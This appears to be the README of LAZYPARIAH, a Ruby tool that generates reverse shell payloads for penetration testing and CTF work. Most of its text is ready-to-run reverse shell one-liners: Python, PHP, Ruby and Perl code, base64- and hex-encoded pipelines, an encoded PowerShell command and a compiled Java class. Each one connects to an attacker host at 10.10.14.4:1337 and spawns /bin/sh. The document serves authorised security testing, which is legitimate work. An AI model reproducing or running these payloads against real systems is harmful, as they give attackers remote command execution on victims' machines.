LAZYPARIAH – A Tool For Generating Reverse Shell Payloads On The Fly
A low-dependency command-line tool for generating reverse shell payloads on the fly.
Description
LAZYPARIAH is a simple and easily installable command-line tool written in pure Ruby that can be used during penetration tests and capture-the-flag (CTF) competitions to generate a range of reverse shell payloads on the fly.
The reverse shell payloads that LAZYPARIAH supports include (but are not limited to):
- C binary payloads (compiled on the fly):
c_binary - Ruby payloads:
ruby,ruby_b64,ruby_hex,ruby_c - Powershell payloads:
powershell_c,powershell_b64 - Base64-encoded Python payloads:
python_b64 - Rust binary payloads (compiled on the fly):
rust_binary - PHP scripts containing base64-encoded Python payloads called via the
system()function:php_system_python_b64 - Java classes (compiled on the fly):
java_class - Perl payloads:
perl,perl_b64,perl_hex,perl_c - Simple PHP payloads (targeting specific file descriptors):
php_fd,php_fd_c,php_fd_tags
Warning
This tool is intended to be used only in authorised circumstances by qualified penetration testers, security researchers and red team professionals. Before downloading, installing or using this tool, ensure that you understand the relevant laws in your jurisdiction. The author of this tool does not endorse, encourage or condone the use of this tool for illegal or unauthorised purposes.
Dependencies
- Ruby >= 2.7.1 (LAZYPARIAH has not been tested on previous versions of Ruby)
- OpenJDK (Optional: Only required for
java_classpayloads.) - GCC (Optional: Only required for
c_binarypayloads.) - Rust (Optional: Only required for
rust_binarypayloads.)
Installation
LAZYPARIAH can be installed on most GNU/Linux and BSD systems using the RubyGems installer as follows:
gem install lazypariah
Usage
Usage: lazypariah [OPTIONS] <PAYLOAD TYPE> <ATTACKER HOST> <ATTACKER PORT>
Note: <ATTACKER HOST> may be an IPv4 address, IPv6 address or hostname.
Example: lazypariah -u python_b64 10.10.14.4 1555
Example: lazypariah python_c malicious.local 1337
Valid Payloads:
awk
bash_tcp
c_binary
java_class
nc
nc_openbsd
nc_pipe
nodejs
nodejs_b64
nodejs_c
nodejs_hex
perl
perl_b64
perl_c
perl_hex
php_fd
php_fd_c
php_fd_tags
php_system_python_b64
php_system_python_hex
php_system_python_ipv6_b64
php_system_python_ipv6_hex
powershell_b64
powershell_c
python
python_b64
python_c
pyth on_hex
python_ipv6
python_ipv6_b64
python_ipv6_c
python_ipv6_hex
ruby
ruby_b64
ruby_c
ruby_hex
rust_binary
socat
Valid Options:
-h, --help Display help text and exit.
-l, --license Display license information and exit.
-u, --url URL-encode the payload.
-v, --version Display version information and exit.
-D, --fd INTEGER Specify the file descriptor used by the target for TCP. Required for certain payloads.
-P, --pv INTEGER Specify Python version for payload. Must be either 2 or 3. By default, no version is specified.
-N, --no-new-line Do not append a new-line character to the end of the payload.
--b64 Encode a c_binary, rust_binary or java_class payload in base-64.
-- hex Encode a c_binary, rust_binary or java_class payload in hexadecimal.
--gzip Compress a c_binary, rust_binary or java_class payload using zlib.
--gzip_b64 Compress a c_binary, rust_binary or java_class payload using zlib and encode the result in base-64.
--gzip_hex Compress a c_binary, rust_binary or java_class payload using zlib and encode the result in hexadecimal.
Further Notes and Examples
The payloads listed above are more-or-less systematically named.
Payloads ending with _c are intended to be executed from within a shell session. These payloads execute code directly using the relevant interpreter (e.g. python3 -c or ruby -e).
For example, the command lazypariah python_c 10.10.14.4 1337 should produce the following output:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
The command lazypariah python 10.10.14.4 1337, on the other hand, should simply produce a block of Python code which could potentially be placed in a .py file:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
Generally speaking, selecting payloads ending with _b64 should produce a command intended to be run from within a shell session in a similar manner to payloads ending with _c, but the commands will be different in structure. These commands will essentially pipe a base64-encoded block of code through to base64 -d and then on through to the relevant interpreter (such as python3, python2 or ruby).
For example, the command lazypariah python_b64 10.10.14.4 1337 should produce the following output:
echo aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjQiLDEzMzcpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOw== | base64 -d | python
The exception to this is powershell_b64, which uses Powershell’s inbuilt base64 decoder. The command lazypariah powershell_b64 10.10.14.4 1337, for instance, should return the following:
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQAwAC4AMQAwAC4AMQA0AC4ANAAnACwAMQAzADMANwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAJwBQAFMAIAAnACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAJwA+ACAA JwA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=
(Note: The length of the above payload is due to the fact that Powershell uses UTF-16LE encoding, where a single character corresponds to two bytes.)
These types of payloads can be useful in certain situations because they do not include any single or double quotes.
In a similar manner, selecting payloads ending with _hex will produce a command that pipes a hexadecimal-encoded block of code through to xxd -p -r - and then on through to the relevant interpreter. For example, lazypariah perl_hex 10.10.14.4 1337 should produce the following output:
echo 75736520536f636b65743b24693d2231302e31302e31342e34223b24703d313333373b736f636b657428532c50465f494e45542c534f434b5f53545245414d2c67657470726f746f62796e616d6528227463702229293b696628636f6e6e65637428532c736f636b616464725f696e2824702c696e65745f61746f6e282469292929297b6f70656e28535444494e2c223e265322293b6f70656e285354444f55542c223e265322293b6f70656e285354444552522c223e265322293b6578656328222f62696e2f7368202d6922293b7d3b | xxd -p -r - | perl
Compiled payloads (c_binary, java_class and rust_binary) have optional command-line arguments for zlib compression (--gzip), base64-encoding (--b64) and hexadecimal-encoding (--hex).
For example, the command lazypariah --b64 java_class 10.10.14.4 1337 should produce the following output:
yv66vgAAADcAXwoAHQApBwAqBwArCAAsCgACAC0KAAIALgoAAgAvBwAwCAAxCgAIADIKACMAMwoAIwA0CgAIADMKACMANQoACAA1CgAIADYKACQANwoAJAA4CgAlADkKACUAOgUAAAAAAAAAMgoAOwA8CgAjAD0HAD4KACMAPwoACABABwBBBwBCAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEADVN0YWNrTWFwVGFibGUHAEMHAEQHAEUBAApFeGNlcHRpb25zAQAKU291cmNlRmlsZQEAB3JzLmphdmEMAB4AHwEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgEAEGphdmEvbGFuZy9TdHJpbmcBAAcvYmluL3NoDAAeAEYMAEcASAwASQBKAQAPamF2YS9uZXQvU29ja2V0AQAKMTAuMTAuMTQuNAwAHgBLDABMAE0MAE4ATQwATwBQDABRAFIMAFMAVAwAVQBUDABWAFcMAFgAHwcAWQwAWgBbDABcAFQBABNqYXZhL2xhbmcvRXhjZXB0aW9uDABdAB8MAF4AHwEAAnJzAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9Qcm9jZXNzAQATamF2YS9pby9JbnB1dFN0cmVhbQEAFGphdmEvaW8vT3V0cHV0U3RyZWFtAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEAE3JlZGlyZWN0RXJyb3JTdHJlYW0BAB0oWilMamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyOwEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7AQAWKExqYXZhL2xhbmcvU3RyaW5nO0kpVgEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBAA5nZXRFcnJvclN0cmVhbQEAD2dldE91dHB1dFN0cm VhbQEAGCgpTGphdmEvaW8vT3V0cHV0U3RyZWFtOwEACGlzQ2xvc2VkAQADKClaAQAJYXZhaWxhYmxlAQADKClJAQAEcmVhZAEABXdyaXRlAQAEKEkpVgEABWZsdXNoAQAQamF2YS9sYW5nL1RocmVhZAEABXNsZWVwAQAEKEopVgEACWV4aXRWYWx1ZQEAB2Rlc3Ryb3kBAAVjbG9zZQAhABwAHQAAAAAAAQABAB4AHwACACAAAAEAAAYACQAAALAqtwABuwACWQS9AANZAxIEU7cABQS2AAa2AAdMuwAIWRIJEQU5twAKTSu2AAtOK7YADDoELLYADToFK7YADjoGLLYADzoHLLYAEJoAXS22ABGeAA8ZBy22ABK2ABOn//AZBLYAEZ4AEBkHGQS2ABK2ABOn/+4ZBbYAEZ4AEBkGGQW2ABK2ABOn/+4ZB7YAFBkGtgAUFAAVuAAXK7YAGFenAAg6CKf/oiu2ABostgAbsQABAJoAnwCiABkAAgAhAAAABgABAAAAAQAiAAAAKgAH/wBGAAgHABwHACMHAAgHACQHACQHACQHACUHACUAAAYSFBRXBwAZBAAmAAAABAABABkAAQAnAAAAAgAo
It is also possible to perform zlib compression on one of the aforementioned compiled payloads before encoding it in either base64 or hexadecimal using the --gzip_b64 and --gzip_hex command-line arguments respectively. For example, the command lazypariah --gzip_hex java_class 10.10.14.4 1337 should produce the following output:
1f8b08003ca25960000375535d57125114dd83335ca0511431a53433b5f00bb42c13cc4ad3c2f0a3200dcd5a03dc741419d7cc50f6577ca8b57cf1b55eb095ab7e403fa6d52fc8ce0549c91aee6cced9779f7bce9939f3fdd7976f0046f0ca8336f430f432f4b9d0ef810303024202c20c832e0c79e0c2750f3a7143c0b0704bd64d6195e096075d181170db836e8c0a8828285f141ac59808b8c3302efeef8a987b0cf719262438c7f4bc6e8f4ba809f62c4a90278d2c97e08deb793e57d84a7333a9a573c4d4266c2db339ab6d977c864986070c53123c533b19be6deb46de22276114cc0c9fd6450833add086f646537109ed125a841dce69f9b5f0826964b8654d14f45c969b12ea4fb612b6a9e7d728389cd6f3616b5d044fab7888472a6298a1d24ada3cb7c30923b3c96d4a3a3418126b38342cd48f55c431ab624ec03c16543cc153150924553c13b0882515cfd1ce9052b18c15152f9094d07852c49f9654aca25dc54b51bfc3b4aa2a9d4f6ff00ca56f38d357e52cdd08c7f2db059b7ae2da96047f859d2fd8a7e8f3c195f8df0f202a5e46a3c9b3ba4949a64cd3302bf2b6e0724ffc7fcf322a41b16ccda4ba9a82ff904545bab3d962225ddd1ab7abea6dae9c50dd48b42cad2aca4b4475572da7824fef50b44bb7267386c5b3a5a95b96e0269d9e2b0f1a 31319a4392d2b6f2d6d46d22e560a942e575ae60ad57bd85e4fab1d2ca71be2d943342e9e63bbabda8e50a620eb3dcb24de31d8932222d3ad04adf9db824fad170d2d776593870c24decc7de03488770a4e4afa849d5f8e4c40114b90867112c7e0857cae76e50460fe099ed2be2dc1c811a91fb8ba88d2864d7459c647b238cb07e17ab034534bc8737c0c8f015d1b87ff4332097b8fa00135699fc11508e49a7b02a242bc21fa0c47e3f9a3ea399ce6f59da872be2da3fda23e70225b9f8894adfc507ec21409d7440f42195babb42d80b768469b8185a193a9930ba2aab9b16a97d7eff124340c655d2cb1417a0fb1ad90e047f03b0d0dc15ad040000
Some payloads require the user to specify the file descriptor used by the target for TCP connections. One example of such a payload is php_fd_tags, which is a simple PHP payload enclosed within PHP tags (<?php and ?>) that targets a specific file descriptor.
To specify a target file descriptor, the user must use the command line argument -D INTEGER or --fd INTEGER. For example, to generate a php_fd_tags payload that targets file descriptor 5, the following command can be used: lazypariah -D 5 php_fd_tags 10.10.14.4 1337
The resulting payload should be as follows: <?php $sock=fsockopen("10.10.14.4",1337);exec("/bin/sh -i <&5 >&5 2>&5");?>
Below are some examples of commands and their respective outputs.
Output of command lazypariah -P 3 -u python_b64 10.10.14.4 1337:
echo%20aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjQiLDEzMzcpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOw%3D%3D%20%7C%20base64%20-d%20%7C%20python3
Output of command lazypariah -P 2 python_c 10.10.14.4 1337:
python2 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Output of command lazypariah -D 3 php_fd_tags 10.10.14.4 1337:
<?php $sock=fsockopen("10.10.14.4",1337);exec("/bin/sh -i <&3 >&3 2>&3");?>
Output of command lazypariah ruby 10.10.14.4 1337:
require "socket";exit if fork;c=TCPSocket.new("10.10.14.4","1337");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end
Author
Copyright (C) 2020-2021 Peter Bruce Funnell
License
This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
You should have received a copy of the GNU General Public License along with this program. If not, see https://www.gnu.org/licenses/
Support
If you found this project useful and would like to encourage me to continue making open source software, please consider making a donation via the following link:
https://www.buymeacoffee.com/peterfunnell
Donations in Bitcoin (BTC) are also very welcome. My BTC wallet address is as follows:
3EdoXV1w8H7y7M9ZdpjRC7GPnX4aouy18g
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